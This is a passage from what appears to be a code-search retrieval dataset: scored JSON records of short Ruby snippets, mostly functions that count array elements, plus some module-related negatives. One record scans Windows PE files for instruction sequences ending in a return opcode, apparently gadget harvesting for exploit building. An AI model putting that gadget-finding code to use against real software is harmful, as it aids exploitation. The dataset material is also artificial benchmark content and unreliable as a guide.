"9c5f5ed6f6f4415ff81f8993f6635eb9", "score": "0.65990186", "text": "def count(arr)\n arr.reduce(0) { |count, el| yield(el) ? count + 1 : count }\nend", "title": "" }, { "docid": "f265d965be4c47b0720d8101298ca6d7", "score": "0.6594677", "text": "def method(arr)\n count = 0\n\n arr.each do |number|\n if number == 55\n count +=1\n end \nend\n count\nend", "title": "" }, { "docid": "b0cc69512413e8ae0bd3fe772aa9cff7", "score": "0.65908223", "text": "def test_count_element\r\n array = [2,2,2,3]\r\n\r\n assert_equal(3, array.count { |e| e.even? }, \"Given an array return the count of even numbers\")\r\n # assert_equal(3, array.size, \"Given an array return the count of even numbers\")\r\n # assert_equal(3, array.length, \"Given an array return the count of even numbers\")\r\n end", "title": "" }, { "docid": "5acd01c8ce723bbc75a4799baa439b8b", "score": "0.65824705", "text": "def length_of_array(array)\n length = array.length\nend", "title": "" }, { "docid": "567804b298d01c99620cc144219a3e81", "score": "0.65813553", "text": "def view_array(array)\n puts \"La cantidad de personas en el sistema es de:\"\n puts array.count\n \nend", "title": "" }, { "docid": "c8ec32100e29b6539a0029bc89f1bf29", "score": "0.65810746", "text": "def count_sheeps(array)\n array.count(true)\nend", "title": "" }, { "docid": "486fca11ab1f473a5575d2dfbbb3c88f", "score": "0.6576084", "text": "def num_elements\n shape = self.shape\n return 1 if shape.nil? || (shape == [])\n n = 1\n shape.each do |i|\n n *= i\n end\n n\n end", "title": "" }, { "docid": "1c79c209ed4f2e6687d3223462be1a0f", "score": "0.65739053", "text": "def output_count_of_three(array_of_numbers)\n array_of_numbers.to_s.count('3')\nend", "title": "" }, { "docid": "d4dc3e1c09fb3df90c60cec75d90bc6a", "score": "0.6555566", "text": "def countSheeps array\n array.count(true)\nend", "title": "" }, { "docid": "e07669c3493185052ffb114a9403a5fb", "score": "0.6542098", "text": "def number_of_articles(array)\n array.count\n end", "title": "" }, { "docid": "ae428976431f6677a1260db8b0077207", "score": "0.65417445", "text": "def greaterThanY array, why\n count = 0\n for i in array\n if i > why\n count+=1\n end\n end\nputs (count).to_s\nend", "title": "" }, { "docid": "e1ae39f4e9b48457ec846e45df7b8cae", "score": "0.6535555", "text": "def kount(arr)\n arr.inject(0) { |count, el| yield(el) ? count += 1 : count }\nend", "title": "" }, { "docid": "4e4063e2e15cf99d28d849489e6c8b4e", "score": "0.6533604", "text": "def count(*arr)\n counter = 0\n arr.each { |elm| counter += 1 if yield(elm) }\n counter\nend", "title": "" }, { "docid": "8653666aff31b8144e14e2ab53cb3d2c", "score": "0.6531826", "text": "def q15\n array = [\"admin\", \"user\", \"user\", \"admin\", \"admin\"]\n p array.count(\"admin\")\nend", "title": "" }, { "docid": "9c64e287213c3dd61aec88fa3fb490f1", "score": "0.64992744", "text": "def deep_count_x(arr)\n arr.map {|e| e.is_a?(Array) ? deep_count_x(e) + 1 : 1}.sum\nend", "title": "" }, { "docid": "bf4f7efe058e7fbea72db5ec15424a8f", "score": "0.6497495", "text": "def count(arr)\n arr.map { |elm| yield(elm) ? 1 : 0 }.sum\nend", "title": "" }, { "docid": "2b79a0d8d56c5ea154676d61048e8041", "score": "0.649217", "text": "def using_size(array)\n array.size\nend", "title": "" }, { "docid": "2b79a0d8d56c5ea154676d61048e8041", "score": "0.649217", "text": "def using_size(array)\n array.size\nend", "title": "" }, { "docid": "069ed6f65a9e847a6bf0895623d6c1fb", "score": "0.648793", "text": "def count1(arr)\n count = 0\n for i in 0..(arr.size - 1) \n count += 1 if yield(arr[i])\n end\n count\nend", "title": "" }, { "docid": "c2b7874b0eafaa0df637363a3ad3a5b2", "score": "0.647367", "text": "def my_length(array)\n\tarray.length\nend", "title": "" }, { "docid": "20c2363ec64b32dd698dea0363d30448", "score": "0.6451666", "text": "def count(arr)\n total = 0\n idx = 0\n idx.upto(arr.size - 1) do |idx|\n total += 1 if yield(arr[idx])\n end \n\n total \nend", "title": "" }, { "docid": "ff05dca9471fca37e430c29d9e7c1c58", "score": "0.645023", "text": "def count(arr)\n count = 0\n for el in arr\n count +=1 if yield el\n end\n count\nend", "title": "" }, { "docid": "2d885b6eb2ab16f585a86d0bc884ee30", "score": "0.64461213", "text": "def count(array, value)\n i = 0\n hits = 0\n while i < array.length\n if array[i] == value\n hits += 1\n end\n i += 1\n end\n return hits\nend", "title": "" }, { "docid": "ff84949a561c919fa166dee5f01717ce", "score": "0.64357746", "text": "def check_array(nums)\n count = 0\n nums.each do |item|\n if((item % 2) == 0)\n count=count + 1\n end\n end\n return count\n end", "title": "" }, { "docid": "d0572997f2326ae71d6295e0b52a4692", "score": "0.6430258", "text": "def array_size(array, x, y)\n if array[y][x] != 'X'\n return 0\n end\n\n size = 1\n array[y][x] = 'counted tile'\n\n size = size + array_size(array, x-1, y-1)\n size = size + array_size(array, x, y-1)\n size = size + array_size(array, x+1, y-1)\n size = size + array_size(array, x-1, y)\n size = size + array_size(array, x+1, y)\n size = size + array_size(array, x-1, y+1)\n size = size + array_size(array, x, y+1)\n size = size + array_size(array, x+1, y+1)\n\n size\n\nend", "title": "" }, { "docid": "9dd45cae3fb16c78a28419771ec7a637", "score": "0.6410139", "text": "def using_size(array)\n array = [\"wow\", \"I\", \"am\", \"really\", \"learning\", \"arrays!\"]\n array.size\nend", "title": "" }, { "docid": "0a834b6c6e61fd077accf791760651c2", "score": "0.64002866", "text": "def count(array)\n sum = 0\n array.each { |element| sum += 1 if yield(element)}\n sum\nend", "title": "" }, { "docid": "1d0c717d41bec71b0e82d1bb1f9e7df7", "score": "0.63859576", "text": "def length_finder(input_array)\n input_array.map { |i| i.length }\nend", "title": "" }, { "docid": "9a4b99b3fc792d9b70960b005f60c239", "score": "0.63856715", "text": "def nitems\n # TODO - seems like this could be optimized \n # to run without unpacking each item...\n count = self.length\n nil_array = self.nil_value\n each do |array|\n count -= 1 if array == nil_array\n end\n count\n end", "title": "" }, { "docid": "6d7c229b958945271158ba1d538db6d5", "score": "0.63728774", "text": "def count_elements (array)\n # array.count {|name| name > 0}\n array.group_by(&:itself).map{|key, value| key.merge(count: value.length)}\nend", "title": "" }, { "docid": "f67ab5ae9badf82e42e1e12a098593f6", "score": "0.6372339", "text": "def count_positive_subarrays(arr)\n arr.count {|subarr| subarr.sum > 0}\nend", "title": "" }, { "docid": "96996e07ad5cbff32ea792e845e19bef", "score": "0.6372258", "text": "def count_positive_subarrays(arr)\n arr.count { |sub_arr| sub_arr.sum > 0}\nend", "title": "" }, { "docid": "11b06a85b2f83e80537e03202d20a7a0", "score": "0.6370899", "text": "def count(arr)\n counter = 0\n arr.each { |elm| counter += 1 if yield(elm) }\n counter\nend", "title": "" }, { "docid": "7a53403bd1190e29b885674ea75102ad", "score": "0.6362506", "text": "def lengtharray (array)\n\tarray.length\nend", "title": "" }, { "docid": "44a90c2a96180d362cc228f866469135", "score": "0.6349793", "text": "def length_finder(input_array)\n input_array.map {|i| i.length}\nend", "title": "" }, { "docid": "fb623396ab583cc4bec4b18fec0c1dcd", "score": "0.63373226", "text": "def length_finder(input_array)\n input_array.map {|element| element.length}\nend", "title": "" }, { "docid": "08a3664a3b773aa89fb7ae17c7c3a806", "score": "0.632625", "text": "def prime_array_count?(num_array)\n x = num_array.select do |num|\n prime?(num)\n end\n x.size\nend", "title": "" }, { "docid": "10823f6b46c64ab060224fdeff894a67", "score": "0.6321873", "text": "def element_count(array)\n counter = Hash.new(0)\n array.each { |ele| counter[ele] += 1 }\n counter\nend", "title": "" }, { "docid": "2c21eff27c31d4a650cace827b1ace66", "score": "0.63194346", "text": "def count(element = nil)\n return size unless element\n count = 0\n each { |e| count += 1 if element == e }\n count\n end", "title": "" }, { "docid": "debbc440d70ec296158b90e2cdbcd046", "score": "0.6312967", "text": "def test_count_the_number_of_1s_in_the_list\n skip \"Waiting to be implemented\"\n # write a test that uses the array.count method\n # to check that there are 3 '1s' in the list\n array = [1,6,3,9,1,1,2,3] \n\n end", "title": "" }, { "docid": "59b92864479627710a768f3862cc24da", "score": "0.63128495", "text": "def count_active_cells_top_left(grid_array)\n counter = 0\n flat_grid_array = grid_array.flatten\n flat_grid_array.each.with_index do |square, index|\n if (index == 1 || index == 3 || index == 4)\n counter += 1 if (square == 'active')\n end\n end\n puts counter\nend", "title": "" }, { "docid": "53e8c60929ad3f8c82e9e6929b9fc63e", "score": "0.630598", "text": "def doubles(input_array)\n count = 0\n input_array.each do |number|\n if number == 55\n count += 1\n end\n end\n return count\nend", "title": "" }, { "docid": "4c0e02867da48991ec35b563a488c99b", "score": "0.6304016", "text": "def length_finder(input_array)\n input_array.map { |a| a.length}\nend", "title": "" }, { "docid": "e5b48360c52b206948efc0ed68d5c8ea", "score": "0.6297122", "text": "def size\n i = 0\n counter = 0\n while i < @size\n if @array[i] != nil\n i+=1\n counter += 1\n else\n i = @size\n end\n\n end\n counter\n end", "title": "" }, { "docid": "28576efc8691d597a3a3562763c0b799", "score": "0.6283123", "text": "def test_array_count\n assert_equal( @a0.count { |e| e.is_a? String }, @a0.my_count { |e| e.is_a? String },\n 'arr.my_count { ... } and arr.count? { ... } outputs are not equal' )\n assert_equal( @a1.count { |e| e.even? }, @a1.my_count { |e| e.even? },\n 'arr.my_count { ... } and arr.count { ... } outputs are not equal' )\n assert_equal( @a0.count , @a0.my_count ,\n 'arr.my_count and arr.count outputs are not equal' )\n assert_equal( @a1.count(1) , @a1.my_count(1) ,\n 'arr.my_count(num) and arr.count(num) outputs are not equal' )\n end", "title": "" }, { "docid": "0a3a4decf53de2d4a87279e46e25538b", "score": "0.6282391", "text": "def count_elements(array)\n occurrences = {}\n\n array.each do |element|\n occurrences[element] = array.count(element)\n end\n\n occurrences.each do |element, count|\n puts \"#{element} => #{count}\"\n end\nend", "title": "" }, { "docid": "f734e9925a9dada59b49db9665c4f5be", "score": "0.6273972", "text": "def my_count(array, &prc)\n trueCount = 0\n\n array.each do |ele|\n if prc.call(ele)\n trueCount += 1\n end\n end\n \n return trueCount\nend", "title": "" }, { "docid": "c587151fe3df7ff10d408be62aa52597", "score": "0.62710935", "text": "def determine_size(arr)\n arr.size * arr[0].size\nend", "title": "" }, { "docid": "97f80c0726f0f93e0d84e1aedcce8b1c", "score": "0.6263574", "text": "def count(arr)\n arr.select{ |el| yield(el) }.size\nend", "title": "" }, { "docid": "f2eefb129dc262280805006399fc1dfa", "score": "0.6261704", "text": "def count_occurrences(array, num)\n return 0 if array.empty?\n counter = 0\n counter += 1 if array.first == num\n count_occurrences(array[1..-1], num)\n counter\nend", "title": "" }, { "docid": "bb57fce8d1e2e99259fce800fe3dbc5d", "score": "0.62611616", "text": "def size?\n @arr.count\n end", "title": "" }, { "docid": "e5fc7da357cbf1089fce74f709331075", "score": "0.6254867", "text": "def total_count_negative_ints(arr, count)\n\nend", "title": "" }, { "docid": "4235ce440ae1bbe55f4b91a96a4130b3", "score": "0.62464774", "text": "def array_count()\n\t\t\tif @type != :array\n\t\t\t\treturn nil\n\t\t\tend\n\t\t\t\n\t\t\treturn @array.count\n\t\tend", "title": "" }, { "docid": "d254bb96d75af4fdbe12cc972e723747", "score": "0.6245333", "text": "def count_sheeps(array)\r\n return [] if array == nil || array.empty?\r\n array.count(true)\r\nend", "title": "" }, { "docid": "4ccc832b1447449237d2ccb668cd310d", "score": "0.62418807", "text": "def length(array)\n count = 0\n x = 0\n until array[x] == nil\n count += 1\n x += 1\n end\n return count\nend", "title": "" }, { "docid": "f9e00aa4caf8359d2249db82910bc3b3", "score": "0.62330467", "text": "def at_least?(arr, n, &prc)\n count = 0\n arr.each do |ele|\n count += 1 if prc.call(ele)\n end\n n <= count\nend", "title": "" }, { "docid": "4bc142e2bcb9ccae8f942d65c6fdd2d7", "score": "0.6225213", "text": "def deep_count(container)\n counter = 0\n container.each do |element|\n if element.is_a?(Array)\n counter += 1\n counter += deep_count(element)\n else\n counter += 1\n end\n end\n counter\nend", "title": "" }, { "docid": "4f11addf0763170beebdbd75dd7170ae", "score": "0.62188315", "text": "def count( *args, & block )\n \n return_count = if block_given?\n @internal_array.count( & block )\n elsif args.empty?\n @internal_array.count\n else\n @internal_array.count( *args )\n end\n \n return return_count\n \n end", "title": "" }, { "docid": "965f4d58a59a6ca94ba339c1bc0c4e54", "score": "0.6208745", "text": "def spaces_count(array)\n counter = 0\n for i in 0..8 do\n for j in 0..8 do\n if array[i][j] == 0\n counter = counter + 1\n end\n end\n end\n $spaces = counter\nend", "title": "" }, { "docid": "76b492c381de0068b1835a67d8774693", "score": "0.6200614", "text": "def my_count_on_it(arr)\n arr.map { |str| str.size }\nend", "title": "" }, { "docid": "d535e69ff398c6518f6329d9b6ec1bb0", "score": "0.6196159", "text": "def count_odds(numbers_array)\n numbers_array.select {|x| x % 2 != 0}.length\nend", "title": "" }, { "docid": "f9428bcf12fa09ee93ec6d728144a179", "score": "0.6195949", "text": "def count\n # Quick fix\n # Would be better to count while traversing rather than building array then counting that\n to_a.count\n end", "title": "" }, { "docid": "5ec36750905d133a83cf35417d05ded0", "score": "0.61945134", "text": "def long_planeteer_calls(array)\n new_array = array.map {|name| name.length} \n new_array.include?(5) ? true : false\nend", "title": "" } ]
d6f190b6a38cc7fcd91ad75199aee313
If this is actually a module (as opposed to a class or whatever) then we can have a module in the implementation language containing primitives for this specific module in the source language. For instance, if we create a +ModuleInstance+ with name "Kernel", then the module named "KernelModule", defined primitives for it. This is useful, because then when "Kernel" is included in another module/class, we can also make the primitives available to the module/class it is included in.
[ { "docid": "7b2edabf36d809fb51305b78e2ca28ee", "score": "0.7513504", "text": "def primitives_module\n if name && Carat::Data.const_defined?(\"#{name}Module\")\n Carat::Data.const_get(\"#{name}Module\")\n end\n end", "title": "" } ]
[ { "docid": "9de4306501711176ab8084b28395030d", "score": "0.6181525", "text": "def module; end", "title": "" }, { "docid": "5b35bc360c6f229d5f5fb89b98e54b5c", "score": "0.60803956", "text": "def visit_module(node)\n s(\n :module,\n [visit(node.constant), visit(node.bodystmt)],\n smap_definition(\n srange_length(node.start_char, 6),\n nil,\n srange_node(node.constant),\n srange_length(node.end_char, -3)\n ).with_expression(srange_node(node))\n )\n end", "title": "" }, { "docid": "6bdb1931b67064fdfc86ba4d7c4f09b9", "score": "0.60614854", "text": "def module?; end", "title": "" }, { "docid": "6bdb1931b67064fdfc86ba4d7c4f09b9", "score": "0.60614854", "text": "def module?; end", "title": "" }, { "docid": "39d3bdc67d6ffc583e43fcfa305bed33", "score": "0.59796095", "text": "def visit_module(node); end", "title": "" }, { "docid": "64795c817d25dd7312be3124636f1467", "score": "0.5848557", "text": "def module\n end", "title": "" }, { "docid": "64795c817d25dd7312be3124636f1467", "score": "0.5848557", "text": "def module\n end", "title": "" }, { "docid": "b44978fb90407afbd0420a3793d8a926", "score": "0.5831725", "text": "def modules; end", "title": "" }, { "docid": "259c070491c1fb29dfe7a886dc177b09", "score": "0.57715535", "text": "def WrappedModule(obj); end", "title": "" }, { "docid": "259c070491c1fb29dfe7a886dc177b09", "score": "0.57715535", "text": "def WrappedModule(obj); end", "title": "" }, { "docid": "44cc67758f034c66a197b327158fbcfc", "score": "0.57460517", "text": "def visit_module(node)\n node.copy(\n constant: visit(node.constant),\n bodystmt: visit(node.bodystmt)\n )\n end", "title": "" }, { "docid": "4167b24f44d2d9a48eecd34181caf098", "score": "0.5733564", "text": "def ModuleDeclaration(constant, bodystmt); end", "title": "" }, { "docid": "847abd24c1f442ff85a9d5cd724b906c", "score": "0.57289284", "text": "def on_module(node)\n define_module(node, DefinitionBuilder::RubyModule)\n end", "title": "" }, { "docid": "8919d915c47c884f7943b78a7b05e34b", "score": "0.5716381", "text": "def primitive(node)\n case node\n when Array\n node.map { |child| primitive(child) }\n when Hash\n hash = {}\n node.each { |k,v| hash[primitive(k)] = primitive(v) }\n hash\n when Regexp\n node.to_s\n when Puppet::Resource::Type\n primitive(node.code)\n when AST::ASTArray\n primitive(node.children)\n when AST::Boolean\n node.value == \"true\"\n when AST::Concat, AST::ASTHash\n primitive(node.value)\n when AST::Hostclass\n { node.name => primitive(node.code) }\n when AST::Name, AST::String, AST::Type\n node.value\n when AST\n hash = { 'type' => node.class.to_s }\n vars = node.instance_variables - [:@line, :@file_index, :@children]\n vars.each do |var|\n k = var.to_s[1..-1]\n v = node.instance_variable_get(var)\n hash[k] = primitive(v)\n end\n hash\n else\n node\n end\nend", "title": "" }, { "docid": "761883cb884526bd677562b06156a385", "score": "0.5704576", "text": "def type\n 'Module'\n end", "title": "" }, { "docid": "5944722b5458f8c731a71f179f7b0bf0", "score": "0.56690276", "text": "def print_module(*) end", "title": "" }, { "docid": "a0ce5f236fdd72a2ffa389baa0f6f079", "score": "0.5655655", "text": "def sideloading_module\n Module.new\n end", "title": "" }, { "docid": "018d12acf03f7a50f452a8f5a866cfca", "score": "0.5634562", "text": "def name\n \"Module\"\n end", "title": "" }, { "docid": "091f5389424bd707fc2ad77ef07c788d", "score": "0.5541865", "text": "def __module(e)\n name = e[1]\n perror(\"module requires 1 argument\", e.size != 2)\n add_module name\n ast_for_mod_def name\n end", "title": "" }, { "docid": "e829dfc1a737a7a2512f44ce81b9ee29", "score": "0.55203176", "text": "def type\n\t\tMODULE_AUX\n\tend", "title": "" }, { "docid": "df311740e4f699441801bc85209daabd", "score": "0.55123764", "text": "def module=(_arg0); end", "title": "" }, { "docid": "df311740e4f699441801bc85209daabd", "score": "0.55123764", "text": "def module=(_arg0); end", "title": "" }, { "docid": "cb673fa5027636c791cdef3a4069d385", "score": "0.5505577", "text": "def internal_feature_module\n @_internal_feature_module ||= Module.new\n end", "title": "" }, { "docid": "f99863ebfb062747447403d7c1fa6272", "score": "0.54957455", "text": "def modify_and_get_module_instance_variable\n\t\t@module_instance_variable_defined_in_module = \"Simple String\"\n\t\treturn @module_instance_variable_defined_in_module\n\tend", "title": "" }, { "docid": "28e7450184b7a9cb1bf2899e104458b8", "score": "0.54943305", "text": "def generate_module(name)\n\t\t\t@logger.debug(\"mod/#{name}\")\n\t\t\tstr = []\n\t\t\tstr << \"\"\n\t\t\tstr << <<EOF\nrequire 'win32ole'\n\nmodule #{name}\n#{generate_root_class(name)}\n#{generate_new_classes}\nend\n\nif __FILE__ == $0\n puts \"defined methods of #{name} are\"\n methods = #{name}::#{name}.new.methods - Object.methods\n puts methods.sort\nend\n\n__END__\nEOF\n\t\t\tstr.join(\"\\n\")\n\t\trescue WIN32OLERuntimeError => e\n\t\t\t@logger.error(e)\n\t\tend", "title": "" }, { "docid": "eb6a28590d39c0448997736155c15c61", "score": "0.54909295", "text": "def describe\n \"Module #{name} - #{children.length} \" +\n \"children, #{includes.length} includes, #{extends.length} extends\"\n end", "title": "" }, { "docid": "0fee7c375aafb4dc03fcf5f277f980e4", "score": "0.54906636", "text": "def on_module(name, body)\n name_segments = name.name.is_a?(Array) ? name.name : [name.name]\n\n return Token::Token.new(\n :type => :module,\n :name => name_segments,\n :value => body,\n :line => name.line,\n :column => name.column,\n :code => name.code\n )\n end", "title": "" }, { "docid": "209ee697b7251a113cbd3236114d1b19", "score": "0.5475976", "text": "def on_module(constant, bodystmt); end", "title": "" }, { "docid": "02f38785d0f452851677a4c900a58cb3", "score": "0.54156446", "text": "def module_include(base, mod); end", "title": "" }, { "docid": "02f38785d0f452851677a4c900a58cb3", "score": "0.54156446", "text": "def module_include(base, mod); end", "title": "" }, { "docid": "77ca4de592f8458496532b7bc16bd0d2", "score": "0.5380508", "text": "def on_module(const, bodystmt)\n beging = find_scanner_event(:@kw, 'module')\n ending = find_scanner_event(:@kw, 'end')\n\n bodystmt.bind(find_next_statement_start(const[:ec]), ending[:sc])\n\n {\n type: :module,\n body: [const, bodystmt],\n sl: beging[:sl],\n sc: beging[:sc],\n el: ending[:el],\n ec: ending[:ec]\n }\n end", "title": "" }, { "docid": "b705bf05250845e7f2067e297e4c716c", "score": "0.5370518", "text": "def load_module(module_name = self.source_type)\n self.extend(\"Source::#{module_name.to_s.camelize}\".constantize) if module_name\n end", "title": "" }, { "docid": "6e37495e634368a8ab265be7b63ae77a", "score": "0.53659314", "text": "def add_module(path)\n pe = Rex::PeParsey::Pe.new_from_file(path, true)\n pename = File.basename(path)\n @modules[pename] = pe\n\n #\n # XXX: Check for DYNAMICBASE flag in DllCharacteristics\n #\n\n #\n # Apply regular expressions to .text sections in PE modules\n #\n pe.all_sections.each { |section|\n if (section.name == \".text\")\n scanner = Rex::PeScan::Scanner::RegexScanner.new(pe)\n \n PATTERNS.keys.each { |pattern|\n re = Regexp.new(pattern + '(\\xC3)', nil, 'n')\n scanner.regex = re\n hits = scanner.scan_section(section)\n \n hits.each { |hit|\n address = pe.rva_to_vma(hit[0])\n bytes = hit[1][0]\n matchdata = re.match([bytes].pack('H*'))\n \n if (matchdata)\n sym = PATTERNS[pattern].call(matchdata)\n \n if (@instructions[sym] == nil)\n @instructions[sym] = Array.new()\n end\n \n @instructions[sym].push(address)\n end\n }\n }\n end\n }\n\n #\n # Add slack space from .data segment to our data segments list\n #\n pe.sections.each { |section|\n if (section.name == \".data\")\n slack_begin =\n pe.rva_to_vma(section.base_rva) +\n section._section_header.v['Misc']\n slack_end = (slack_begin + 4096) & ~(4096 - 1)\n\n # Record slack space as [begin, allocated_position, end]\n @slack_space.push([slack_begin, slack_begin, slack_end])\n end\n }\n end", "title": "" }, { "docid": "47335c9e0ff720941625f112fd96597a", "score": "0.5342524", "text": "def as_module\n Parametrized::Transformation::AsModule.instance\n end", "title": "" }, { "docid": "5a0c8d330a25d4a76dd3205fe20a650e", "score": "0.532688", "text": "def get_module\n @module ||= Module.new\n end", "title": "" }, { "docid": "1e62c8d1eb4960ac6405eb6f29bc1a91", "score": "0.53183377", "text": "def tf_module(module_name, &options_block)\n @modules[module_name] = TerraformAttributes.new(&options_block).attr_kv_pairs\n end", "title": "" }, { "docid": "4e06596147de9d3944eb267fdb4d532b", "score": "0.5305479", "text": "def register_module_function(object); end", "title": "" }, { "docid": "f7986958220450a8fd2ec767ecc94240", "score": "0.528683", "text": "def on_module(node)\n scope = definitions\n mod_def = Definition::RubyObject.new_from_node(\n node,\n :value => nil,\n :parents => [scope]\n )\n\n increment_reference_amount(mod_def)\n\n if scope.has_definition?(:constant, mod_def.name)\n existing = scope.lookup(:constant, mod_def.name)\n\n if existing\n @definitions << update_parent_definitions(existing, scope)\n\n increment_reference_amount(existing)\n associate_node_definition(node, existing)\n\n return\n end\n end\n\n define_module(node, mod_def)\n end", "title": "" }, { "docid": "a99d46ec61a030c2403166f03cedcd77", "score": "0.528238", "text": "def test_mod\n hvm = HVM.new\n hvm.mem[0] = 174\n hvm.mem[1] = 42\n hvm.code = \"0<0<1</1<*-p\"\n hvm.run!\n assert_equal \"6\", hvm.output\n end", "title": "" }, { "docid": "9f961148bb3e650cd219876b9b7d304e", "score": "0.5262474", "text": "def instance_mod; end", "title": "" }, { "docid": "c0c19c510cea9f498ac55c0c8ac97ce3", "score": "0.52601516", "text": "def type\n return Msf::MODULE_NOP\n end", "title": "" }, { "docid": "dd60178362fdc6032e443f4babd215d4", "score": "0.5246668", "text": "def included(mod)\n super\n mod.extend(ClassMethods)\n mod.extend(Classification)\n register(mod, Operator)\n end", "title": "" }, { "docid": "d067890221f04a336c224127c3c7953c", "score": "0.5243267", "text": "def modules=(_arg0); end", "title": "" }, { "docid": "617cff09feec1626b724466935bec5bf", "score": "0.524279", "text": "def numeric_module\n methods = {}\n prefix_types, bare_types = *types.values.uniq.partition{ |t| t.prefix? }\n\n prefix_types.each do |type|\n prefixes.each do |prefix|\n name = \"#{prefix.symbol}#{type.symbol}\".to_sym\n methods[name] = Unit.new(type, 1, prefix)\n end\n type.terms.each do |name|\n next if /\\W/ =~ name.to_s # can't use non-words characters\n methods[name] = Unit.new(type, 1)\n end\n end\n\n bare_types.each do |type|\n type.terms.each do |name|\n next if /\\W/ =~ name.to_s # can't use non-words characters\n methods[name] = Unit.new(type, 1)\n end\n end\n\n mod = Module.new\n\n mod.module_eval do\n methods.each do |name, unit|\n define_method(name) do\n Measure.new(self, unit)\n end\n end\n end\n\n prefixes.each do |prefix|\n mod.module_eval do\n define_method(prefix.name) do\n prefix\n end\n end\n end\n\n mod\n end", "title": "" }, { "docid": "a611b658d305f6a9afbf2cb499402e9c", "score": "0.52303535", "text": "def genmodule(name, options = {}, &block)\n genthing(name, Module, options, block)\n end", "title": "" }, { "docid": "0c64ee2299820a03ce9ff67d19bd8bde", "score": "0.5226531", "text": "def load_module foo, options = nil ; Prox.load_module(foo, options) end", "title": "" }, { "docid": "c48dc5980d70df407cd070ede75b8385", "score": "0.5218605", "text": "def inspect\n modules = [self.class]\n (class << self; self; end).instance_eval do\n modules += included_modules\n end\n modules << stringify_namespaced_modules\n format('#<%<modules>s:0x%<object_id>x>', modules: modules.join('+'), object_id: object_id)\n end", "title": "" }, { "docid": "b91df64d29205229871a2e32c876d386", "score": "0.5207331", "text": "def set_module(sample,num)\n case \n when num == 1\n sample.module_1 = true\n when num == 2\n sample.module_2 = true\n when num == 3\n sample.module_3 = true\n when num == 4\n sample.module_4 = true\n when num == 5\n sample.module_5 = true\n when num == 6\n sample.module_6 = true\n when num == 7\n sample.module_7 = true\n when num == 8\n sample.module_8 = true\n when num == 9\n sample.module_9 = true\n when num == 10\n sample.module_10 = true\n when num == 11\n sample.module_11 = true\n when num == 12\n sample.module_12 = true\n end\n end", "title": "" }, { "docid": "a79815a48ba525b236c9c433ed8364ef", "score": "0.519635", "text": "def print_module\n println(prettyprint(0, \"module #{ModInfo.name}(\", ModInfo.args.join(\",\"), \");\"))\n println(ModInfo.arglines, ModInfo.bodylines, \"endmodule\")\n ModInfo.name = nil\n ModInfo.params.clear\n ModInfo.args.clear\n ModInfo.arglines.clear\n ModInfo.bodylines.clear\n ModInfo.instseq.clear\n ModInfo.hskwidth.clear\nend", "title": "" }, { "docid": "579ce05d9de9efcbbacb4169f0800f42", "score": "0.517862", "text": "def module\n \"ModifierToken\"\n end", "title": "" }, { "docid": "abd7d618e0338124c7af4bd4664a947b", "score": "0.51621413", "text": "def prim\n end", "title": "" }, { "docid": "b5e81ea7596f74f5f727dac2afdf5baf", "score": "0.51521105", "text": "def register_module\n\n unless Object.const_defined? module_name\n\n Object.const_set module_name, Module.new\n\n end\n\n end", "title": "" }, { "docid": "ef6f88a3c4dc94b51b94bcc1fa3052df", "score": "0.5146822", "text": "def generate_module_definition\n get_module_definition_file_name\n file = get_module_definition_file\n file.write(@module_definition_def_obj.get_renderer(ProfileTemplates.module_definition_template(@sdk_path, @individual_gem_profile)))\n end", "title": "" }, { "docid": "57f1076df378e41ce9f749579f2c3f39", "score": "0.5146724", "text": "def add_dsl_constants!\n create_modules(\n self,\n [ # Databases\n ['MySQL', 'PostgreSQL', 'MongoDB', 'Redis', 'Riak'],\n # Storages\n ['S3', 'CloudFiles', 'Ninefold', 'Dropbox', 'FTP',\n 'SFTP', 'SCP', 'RSync', 'Local'],\n # Compressors\n ['Gzip', 'Bzip2', 'Custom', 'Pbzip2', 'Lzma'],\n # Encryptors\n ['OpenSSL', 'GPG'],\n # Syncers\n [\n { 'Cloud' => ['CloudFiles', 'S3'] },\n { 'RSync' => ['Push', 'Pull', 'Local'] }\n ],\n # Notifiers\n ['Mail', 'Twitter', 'Campfire', 'Prowl', 'Hipchat', 'Pushover']\n ]\n )\n end", "title": "" }, { "docid": "fe0aed6c5c7ffaeb745b24cc18c5b054", "score": "0.51249623", "text": "def mod(name)\n master.module_instance name\n end", "title": "" }, { "docid": "4c13b64017867b1a9663347e427c1edd", "score": "0.511741", "text": "def mod\r\n CheriModule \r\n end", "title": "" }, { "docid": "07e03c043e94449e01440c6fa726d457", "score": "0.5117327", "text": "def generate_module(module_name, env_name, modulepath)\n <<-MANIFEST_SNIPPET\n \"#{modulepath}\":;\n \"#{modulepath}/#{module_name}\":;\n \"#{modulepath}/#{module_name}/manifests\":;\n\n \"#{modulepath}/#{module_name}/manifests/init.pp\":\n ensure => file,\n mode => \"0640\",\n content => 'class #{module_name} {\n notify { \"include #{env_name} #{module_name}\": }\n }'\n ;\n MANIFEST_SNIPPET\n end", "title": "" }, { "docid": "5d1a98c6fa05f2c40ef29a48baaef784", "score": "0.51086795", "text": "def module_name; end", "title": "" }, { "docid": "88595580447e32c16724dbf30857a4d3", "score": "0.51046807", "text": "def module_graph\n RGL::ImplicitGraph.new { |g|\n g.vertex_iterator { |b|\n ObjectSpace.each_object(Module, &b)\n }\n g.adjacent_iterator { |x, b|\n x.ancestors.each { |y|\n b.call(y) unless x == y || y == Kernel || y == Object\n }\n }\n g.directed = true\n }\nend", "title": "" }, { "docid": "098bf4a7f7b5d09171565bb38e865658", "score": "0.5099658", "text": "def module_for(example_group); end", "title": "" }, { "docid": "5c46833bd760c8ca2e3c6e5b4e828d39", "score": "0.5090459", "text": "def module_name\n self[1] if :module == sexp_type\n end", "title": "" }, { "docid": "79e77820e40dd81cc5c2001504851687", "score": "0.5082515", "text": "def register_module\n module_names = module_name.split(\"::\").inject([]) {|n, c| n << (n.empty? ? [c] : [n.last] + [c]).flatten}\n module_names.each do |module_name_array|\n eval \"module ::#{module_name_array.join(\"::\")}; end\"\n end\n end", "title": "" }, { "docid": "e8efedd47bf95306062f55a8f69a830d", "score": "0.5077663", "text": "def module_keys\n super\n end", "title": "" }, { "docid": "b425231f6d188a26c206a26ccf50c109", "score": "0.507509", "text": "def module_builder(mod, hash) # rubocop:disable Metrics/MethodLength\n case mod.properties[:type]\n when :forge\n ctgry = 'forge_modules'\n repo = mod.title\n version = mod.expected_version\n when :git\n ctgry = 'repositories'\n repo = mod.instance_variable_get :@remote\n version = mod.instance_variable_get :@ref\n end\n\n add_category(ctgry, hash)\n add_module(ctgry, mod.name, repo, version, hash)\n end", "title": "" }, { "docid": 